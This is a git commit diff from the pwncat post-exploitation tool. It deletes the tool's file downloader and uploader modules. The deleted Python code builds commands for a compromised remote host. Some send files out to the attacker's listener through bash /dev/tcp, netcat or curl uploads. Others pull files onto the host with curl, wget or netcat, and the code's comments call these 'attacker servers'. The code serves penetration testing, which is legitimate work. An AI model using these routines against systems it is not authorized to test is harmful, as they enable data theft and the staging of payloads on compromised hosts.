1
0
mirror of https://github.com/calebstewart/pwncat.git synced 2024-11-27 19:04:15 +01:00

Removed dead code from uploader/downloader directories. Pruned unused references to legacy 'pty' interface from a few places. Added note on BSD to readme

This commit is contained in:
Caleb Stewart 2020-06-02 22:48:59 -04:00
parent a2552b5439
commit 7e04faa06a
17 changed files with 0 additions and 810 deletions

View File

@ -1,44 +0,0 @@
#!/usr/bin/env python3
from typing import Type, List
from pwncat.downloader.base import Downloader, DownloadError
from pwncat.downloader.nc import NetcatDownloader
from pwncat.downloader.curl import CurlDownloader
from pwncat.downloader.bashtcp import BashTCPDownloader
from pwncat.downloader.gtfo import GtfoBinsDownloader
all_downloaders = [
GtfoBinsDownloader,
NetcatDownloader,
CurlDownloader,
BashTCPDownloader,
]
def get_names() -> List[str]:
""" get the names of all downloaders """
return [d.NAME for d in all_downloaders]
def find(pty: "pwncat.pty.PtyHandler", hint: str = None) -> Type[Downloader]:
""" Locate an applicable downloader """
if hint is not None:
# Try to return the requested downloader
for d in all_downloaders:
if d.NAME != hint:
continue
d.check(pty)
return d
raise DownloadError(f"{hint}: no such downloader")
for d in all_downloaders:
try:
d.check(pty)
return d
except DownloadError:
continue
raise DownloadError("no acceptable downloaders found")

View File

@ -1,177 +0,0 @@
#!/usr/bin/env python3
from typing import Generator, Callable
from http.server import BaseHTTPRequestHandler, HTTPServer
from socketserver import TCPServer, BaseRequestHandler
from functools import partial
import threading
import socket
import os
from pwncat import util
class DownloadError(Exception):
""" An error occurred while attempting to run a downloader """
class Downloader:
# Binaries which are needed on the remote host for this downloader
BINARIES = []
@classmethod
def check(cls, pty: "pwncat.pty.PtyHandler") -> bool:
""" Check if the given PTY connection can support this downloader """
for binary in cls.BINARIES:
if isinstance(binary, list) or isinstance(binary, tuple):
for equivalent in binary:
if pty.which(equivalent):
return
elif pty.which(binary) is not None:
return
raise DownloadError(f"required remote binary not found: {binary}")
def __init__(self, pty: "pwncat.pty.PtyHandler", remote_path: str, local_path: str):
self.pty = pty
self.local_path = local_path
self.remote_path = remote_path
def command(self) -> Generator[str, None, None]:
""" Generate the commands needed to send this file back. This is a
generator, which yields strings which will be executed on the remote
host. """
return
def serve(self, on_progress: Callable):
""" Start any servers on the local end which are needed to download the
original_content. """
return
def shutdown(self):
""" Shutdown any attacker servers that were started """
return
class HttpPostFileReceiver(BaseHTTPRequestHandler):
def __init__(
self, request, addr, server, downloader: "HTTPDownloader", on_progress: Callable
):
self.downloader = downloader
self.on_progress = on_progress
super(HttpPostFileReceiver, self).__init__(request, addr, server)
def do_PUT(self):
""" handle http POST request """
if self.path != f"/{os.path.basename(self.downloader.remote_path)}":
self.send_error(404)
return
length = int(self.headers["Content-Length"])
copied = 0
chunksz = 1024 * 1024
self.send_response(200)
self.send_header("Content-Length", "1")
self.end_headers()
self.flush_headers()
self.rfile = self.rfile.detach()
with open(self.downloader.local_path, "wb") as filp:
while copied < length:
block = self.rfile.read(chunksz)
filp.write(block)
copied += len(block)
self.on_progress(copied, len(block))
def do_POST(self):
return self.do_PUT()
def log_message(self, *args, **kwargs):
return
class HTTPDownloader(Downloader):
""" Base class for HTTP POST based downloaders. This takes care of setting
up the local HTTP server and saving the file. Just provide the commands
for the remote host to trigger the upload """
@classmethod
def check(cls, pty: "pwncat.pty.PtyHandler") -> bool:
""" Make sure we have an lhost """
if pty.vars.get("lhost", None) is None:
raise DownloadError("no lhost provided")
def __init__(
self, pty: "pwncat.pty.PtyHandler", remote_path: str, local_path: str,
):
super(HTTPDownloader, self).__init__(pty, remote_path, local_path)
self.server = None
def serve(self, on_progress: Callable):
self.server = HTTPServer(
("0.0.0.0", 0),
partial(HttpPostFileReceiver, downloader=self, on_progress=on_progress),
)
thread = threading.Thread(
target=lambda: self.server.serve_forever(), daemon=True
)
thread.start()
def shutdown(self):
self.server.shutdown()
class RawDownloader(Downloader):
""" Base class for raw socket based downloaders. This takes care of setting
up the socket server and saving the file. Just provide the commands to
initiate the raw socket transfer on the remote host to trigger the
upload """
@classmethod
def check(cls, pty: "pwncat.pty.PtyHandler") -> bool:
""" Make sure we have an lhost """
if pty.vars.get("lhost", None) is None:
raise DownloadError("no lhost provided")
def __init__(
self, pty: "pwncat.pty.PtyHandler", remote_path: str, local_path: str,
):
super(RawDownloader, self).__init__(pty, remote_path, local_path)
self.server = None
def serve(self, on_progress: Callable):
# Make sure it is accessible to the subclass
local_path = self.local_path
class SocketWrapper:
def __init__(self, sock):
self.s = sock
def read(self, n: int):
try:
return self.s.recv(n)
except socket.timeout:
return b""
# Class to handle incoming connections
class ReceiveFile(BaseRequestHandler):
def handle(self):
self.request.settimeout(1)
with open(local_path, "wb") as fp:
util.copyfileobj(SocketWrapper(self.request), fp, on_progress)
self.request.close()
self.server = TCPServer(("0.0.0.0", 0), ReceiveFile)
thread = threading.Thread(
target=lambda: self.server.serve_forever(), daemon=True
)
thread.start()
def shutdown(self):
""" Shutdown the server """
self.server.shutdown()

View File

@ -1,20 +0,0 @@
#!/usr/bin/env python3
from typing import Generator
import shlex
from pwncat.downloader.base import RawDownloader, DownloadError
class BashTCPDownloader(RawDownloader):
NAME = "bashtcp"
BINARIES = ["bash", "dd"]
def command(self) -> Generator[str, None, None]:
""" Generate the curl command to post the file """
lhost = self.pty.vars["lhost"]
lport = self.server.server_address[1]
remote_path = shlex.quote(self.remote_path)
self.pty.run(f"""bash -c "dd if={remote_path} > /dev/tcp/{lhost}/{lport}" """,)

View File

@ -1,21 +0,0 @@
#!/usr/bin/env python3
from typing import Generator
import shlex
from pwncat.downloader.base import HTTPDownloader, DownloadError
class CurlDownloader(HTTPDownloader):
NAME = "curl"
BINARIES = ["curl"]
def command(self) -> Generator[str, None, None]:
""" Generate the curl command to post the file """
lhost = self.pty.vars["lhost"]
lport = self.server.server_address[1]
curl = self.pty.which("curl", quote=True)
remote_path = shlex.quote(self.remote_path)
self.pty.run(f"{curl} --upload-file {remote_path} http://{lhost}:{lport}")

View File

@ -1,25 +0,0 @@
#!/usr/bin/env python3
from typing import Callable
import os
from pwncat.gtfobins import Capability, Stream
from pwncat.downloader.base import Downloader, DownloadError
from pwncat import util
class GtfoBinsDownloader(Downloader):
NAME = "gtfobins"
def __init__(self, pty: "pwncat.pty.PtyHandler", remote_path: str, local_path: str):
super(GtfoBinsDownloader, self).__init__(pty, remote_path, local_path)
self.on_progress = None
def command(self):
with self.pty.open(self.remote_path, "rb") as remote:
with open(self.local_path, "wb") as local:
util.copyfileobj(remote, local, self.on_progress)
def serve(self, on_progress: Callable):
self.on_progress = on_progress

View File

@ -1,21 +0,0 @@
#!/usr/bin/env python3
from typing import Generator
import shlex
from pwncat.downloader.base import RawDownloader, DownloadError
class NetcatDownloader(RawDownloader):
NAME = "nc"
BINARIES = ["nc"]
def command(self) -> Generator[str, None, None]:
""" Return the commands needed to trigger this download """
lhost = self.pty.vars["lhost"]
lport = self.server.server_address[1]
nc = self.pty.which("nc", quote=True)
remote_file = shlex.quote(self.remote_path)
self.pty.run(f"{nc} -q0 {lhost} {lport} < {remote_file}")

View File

@ -1,45 +0,0 @@
#!/usr/bin/env python3
from typing import Generator, Callable
from io import BufferedReader
import base64
import shlex
from pwncat.downloader.base import Downloader, DownloadError
from pwncat import util
class RawShellDownloader(Downloader):
NAME = "raw"
BINARIES = [("dd", "cat")]
BLOCKSZ = 8192
def command(self):
remote_path = shlex.quote(self.remote_path)
blocksz = 1024 * 1024
binary = self.pty.which("dd", quote=True)
if binary is None:
binary = self.pty.which("cat", quote=True)
if "dd" in binary:
pipe = self.pty.subprocess(
f"{binary} if={remote_path} bs={blocksz} 2>/dev/null"
)
else:
pipe = self.pty.subprocess(f"{binary} {remote_path}")
try:
with open(self.local_path, "wb") as filp:
util.copyfileobj(pipe, filp, self.on_progress)
finally:
self.on_progress(0, -1)
pipe.close()
return False
def serve(self, on_progress: Callable):
""" We don't need to start a server, but we do need to save the
callback """
self.on_progress = on_progress

View File

@ -1,48 +0,0 @@
#!/usr/bin/env python3
from typing import Generator, Callable
import base64
import shlex
from pwncat.downloader.base import Downloader, DownloadError
class ShellDownloader(Downloader):
NAME = "shell"
BINARIES = ["dd", "base64"]
BLOCKSZ = 8192
def command(self) -> Generator[str, None, None]:
""" Yield list of commands to transfer the file """
remote_path = shlex.quote(self.remote_path)
with open(self.local_path, "wb") as filp:
blocknr = 0
copied = 0
while True:
# Read the data
x = self.pty.run(
"dd if={} bs={} skip={} count=1 2>/dev/null | base64 -w0".format(
remote_path, self.BLOCKSZ, blocknr
)
)
if x == b"" or x == b"\r\n":
break
# Decode the data
data = base64.b64decode(x)
# Send the data and call the progress function
filp.write(data)
copied += len(data)
self.on_progress(copied, len(data))
# Increment block number
blocknr += 1
def serve(self, on_progress: Callable):
""" We don't need to start a server, but we do need to save the
callback """
self.on_progress = on_progress

View File

@ -1,48 +0,0 @@
#!/usr/bin/env python3
from typing import Type, List
from pwncat.uploader.base import Uploader, UploadError
from pwncat.uploader.nc import NetcatUploader
from pwncat.uploader.curl import CurlUploader
from pwncat.uploader.bashtcp import BashTCPUploader
from pwncat.uploader.wget import WgetUploader
from pwncat.uploader.gtfo import GtfoBinsUploader
all_uploaders = [
GtfoBinsUploader,
NetcatUploader,
CurlUploader,
BashTCPUploader,
WgetUploader,
]
def get_names() -> List[str]:
""" Return the names of all uploaders """
return [u.NAME for u in all_uploaders]
def find(pty: "pwncat.pty.PtyHandler", hint: str = None) -> Type[Uploader]:
""" Locate an applicable uploader """
if hint == "":
hint = None
if hint is not None:
# Try to return the requested uploader
for d in all_uploaders:
if d.NAME != hint:
continue
d.check(pty)
return d
raise UploadError(f"{hint}: no such uploader")
for d in all_uploaders:
try:
d.check(pty)
return d
except UploadError:
continue
raise UploadError("no acceptable uploaders found")

View File

@ -1,165 +0,0 @@
#!/usr/bin/env python3
from typing import Generator, Callable
from http.server import BaseHTTPRequestHandler, HTTPServer
from socketserver import TCPServer, BaseRequestHandler
from functools import partial
import threading
import socket
import os
from pwncat import util
class UploadError(Exception):
""" An error occurred while attempting to run a uploader """
class Uploader:
# Binaries which are needed on the remote host for this uploader
BINARIES = []
@classmethod
def check(cls, pty: "pwncat.pty.PtyHandler") -> bool:
""" Check if the given PTY connection can support this uploader """
for binary in cls.BINARIES:
if pty.which(binary) is None:
raise UploadError(f"required remote binary not found: {binary}")
def __init__(self, pty: "pwncat.pty.PtyHandler", remote_path: str, local_path: str):
self.pty = pty
self.local_path = local_path
self.remote_path = remote_path
def command(self) -> Generator[str, None, None]:
""" Generate the commands needed to send this file. This is a
generator, which yields strings which will be executed on the remote
host. """
return
def serve(self, on_progress: Callable):
""" Start any servers on the local end which are needed to download the
original_content. """
return
def shutdown(self):
""" Shutdown any attacker servers that were started """
return
class HttpGetFileHandler(BaseHTTPRequestHandler):
def __init__(
self, request, addr, server, uploader: "HTTPUploader", on_progress: Callable
):
self.uploader = uploader
self.on_progress = on_progress
super(HttpGetFileHandler, self).__init__(request, addr, server)
def do_GET(self):
""" handle http POST request """
if self.path != "/":
self.send_error(404)
return
length = os.path.getsize(self.uploader.local_path)
self.send_response(200)
self.send_header("Content-Length", str(length))
self.send_header("Content-Type", "application/octet-stream")
self.end_headers()
with open(self.uploader.local_path, "rb") as filp:
util.copyfileobj(filp, self.wfile, self.on_progress)
def log_message(self, *args, **kwargs):
return
class HTTPUploader(Uploader):
""" Base class for HTTP POST based downloaders. This takes care of setting
up the local HTTP server and saving the file. Just provide the commands
for the remote host to trigger the upload """
@classmethod
def check(cls, pty: "pwncat.pty.PtyHandler") -> bool:
super(HTTPUploader, cls).check(pty)
""" Make sure we have an lhost """
if pty.vars.get("lhost", None) is None:
raise UploadError("no lhost provided")
def __init__(
self, pty: "pwncat.pty.PtyHandler", remote_path: str, local_path: str,
):
super(HTTPUploader, self).__init__(pty, remote_path, local_path)
self.server = None
def serve(self, on_progress: Callable):
self.server = HTTPServer(
("0.0.0.0", 0),
partial(HttpGetFileHandler, uploader=self, on_progress=on_progress),
)
thread = threading.Thread(
target=lambda: self.server.serve_forever(), daemon=True
)
thread.start()
def shutdown(self):
self.server.shutdown()
class RawUploader(Uploader):
""" Base class for raw socket based downloaders. This takes care of setting
up the socket server and saving the file. Just provide the commands to
initiate the raw socket transfer on the remote host to trigger the
upload """
@classmethod
def check(cls, pty: "pwncat.pty.PtyHandler") -> bool:
super(RawUploader, cls).check(pty)
""" Make sure we have an lhost """
if pty.vars.get("lhost", None) is None:
raise UploadError("no lhost provided")
def __init__(
self, pty: "pwncat.pty.PtyHandler", remote_path: str, local_path: str,
):
super(RawUploader, self).__init__(pty, remote_path, local_path)
self.server = None
def serve(self, on_progress: Callable):
# Make sure it is accessible to the subclass
local_path = self.local_path
pty = self.pty
class SocketWrapper:
def __init__(self, sock):
self.s = sock
def write(self, n: int):
try:
return self.s.send(n)
except socket.timeout:
return b""
# Class to handle incoming connections
class ReceiveFile(BaseRequestHandler):
def handle(self):
self.request.settimeout(1)
with open(local_path, "rb") as filp:
util.copyfileobj(filp, SocketWrapper(self.request), on_progress)
self.request.close()
pty.client.send(util.CTRL_C)
self.server = TCPServer(("0.0.0.0", 0), ReceiveFile)
thread = threading.Thread(
target=lambda: self.server.serve_forever(), daemon=True
)
thread.start()
def shutdown(self):
""" Shutdown the server """
self.server.shutdown()

View File

@ -1,22 +0,0 @@
#!/usr/bin/env python3
from typing import Generator
import shlex
from pwncat.uploader.base import RawUploader
class BashTCPUploader(RawUploader):
NAME = "bashtcp"
BINARIES = ["bash", "dd"]
def command(self) -> Generator[str, None, None]:
""" Generate the curl command to post the file """
lhost = self.pty.vars["lhost"]
lport = self.server.server_address[1]
remote_path = shlex.quote(self.remote_path)
self.pty.run(
f"""bash -c "dd of={remote_path} < /dev/tcp/{lhost}/{lport}" """, wait=False
)

View File

@ -1,23 +0,0 @@
#!/usr/bin/env python3
from typing import Generator
import shlex
from pwncat.uploader.base import HTTPUploader
class CurlUploader(HTTPUploader):
NAME = "curl"
BINARIES = ["curl"]
def command(self) -> Generator[str, None, None]:
""" Generate the curl command to post the file """
lhost = self.pty.vars["lhost"]
lport = self.server.server_address[1]
curl = self.pty.which("curl")
remote_path = shlex.quote(self.remote_path)
self.pty.run(
f"{curl} --output {remote_path} http://{lhost}:{lport}", wait=False
)

View File

@ -1,29 +0,0 @@
#!/usr/bin/env python3
from typing import Callable
import os
from pwncat.uploader.base import Uploader, UploadError
from pwncat import util
def fake(x, y):
pass
class GtfoBinsUploader(Uploader):
NAME = "gtfobins"
def __init__(self, pty: "pwncat.pty.PtyHandler", remote_path: str, local_path: str):
super(GtfoBinsUploader, self).__init__(pty, remote_path, local_path)
self.length = os.path.getsize(local_path)
self.on_progress = None
def command(self):
with self.pty.open(self.remote_path, "wb", length=self.length) as remote:
with open(self.local_path, "rb") as local:
util.copyfileobj(local, remote, self.on_progress)
def serve(self, on_progress: Callable):
self.on_progress = on_progress

View File

@ -1,21 +0,0 @@
#!/usr/bin/env python3
from typing import Generator
import shlex
from pwncat.uploader.base import RawUploader
class NetcatUploader(RawUploader):
NAME = "nc"
BINARIES = ["nc"]
def command(self) -> Generator[str, None, None]:
""" Return the commands needed to trigger this download """
lhost = self.pty.vars["lhost"]
lport = self.server.server_address[1]
nc = self.pty.which("nc", quote=True)
remote_file = shlex.quote(self.remote_path)
self.pty.run(f"{nc} {lhost} {lport} > {remote_file}", wait=False)

View File

@ -1,42 +0,0 @@
#!/usr/bin/env python3
from typing import Generator, Callable
from io import BufferedReader
import base64
import shlex
import socket
import os
from pwncat.uploader.base import Uploader, UploadError
from pwncat import util
class RawShellUploader(Uploader):
NAME = "raw"
BINARIES = ["dd"]
BLOCKSZ = 8192
def command(self) -> Generator[str, None, None]:
""" Yield list of commands to transfer the file """
remote_path = shlex.quote(self.remote_path)
file_sz = os.path.getsize(self.local_path)
dd = self.pty.which("dd")
with self.pty.subprocess(
f"{dd} of={remote_path} bs=1 count={file_sz} 2>/dev/null", mode="wb"
) as stream:
try:
with open(self.local_path, "rb") as filp:
util.copyfileobj(filp, stream, self.on_progress)
finally:
self.on_progress(0, -1)
# Get back to a terminal
return False
def serve(self, on_progress: Callable):
""" We don't need to start a server, but we do need to save the
callback """
self.on_progress = on_progress

View File

@ -1,39 +0,0 @@
#!/usr/bin/env python3
from typing import Generator, Callable
import base64
import shlex
from pwncat.uploader.base import Uploader, UploadError
class ShellUploader(Uploader):
NAME = "shell"
BINARIES = ["base64"]
BLOCKSZ = 8192
def command(self) -> Generator[str, None, None]:
""" Yield list of commands to transfer the file """
remote_path = shlex.quote(self.remote_path)
# Empty the file
self.pty.run(f"echo -n > {remote_path}")
with open(self.local_path, "rb") as filp:
copied = 0
for block in iter(lambda: filp.read(self.BLOCKSZ), b""):
# Encode as a base64 string
encoded = base64.b64encode(block).decode("utf-8")
# Read the data
self.pty.run(f"echo -n {encoded} | base64 -d >> {remote_path}")
copied += len(block)
self.on_progress(copied, len(block))
def serve(self, on_progress: Callable):
""" We don't need to start a server, but we do need to save the
callback """
self.on_progress = on_progress

View File

@ -1,20 +0,0 @@
#!/usr/bin/env python3
from typing import Generator
import shlex
from pwncat.uploader.base import HTTPUploader
class WgetUploader(HTTPUploader):
NAME = "wget"
BINARIES = ["wget"]
def command(self) -> Generator[str, None, None]:
""" Generate the curl command to post the file """
lhost = self.pty.vars["lhost"]
lport = self.server.server_address[1]
remote_path = shlex.quote(self.remote_path)
self.pty.run(f"wget -O {remote_path} http://{lhost}:{lport}", wait=False)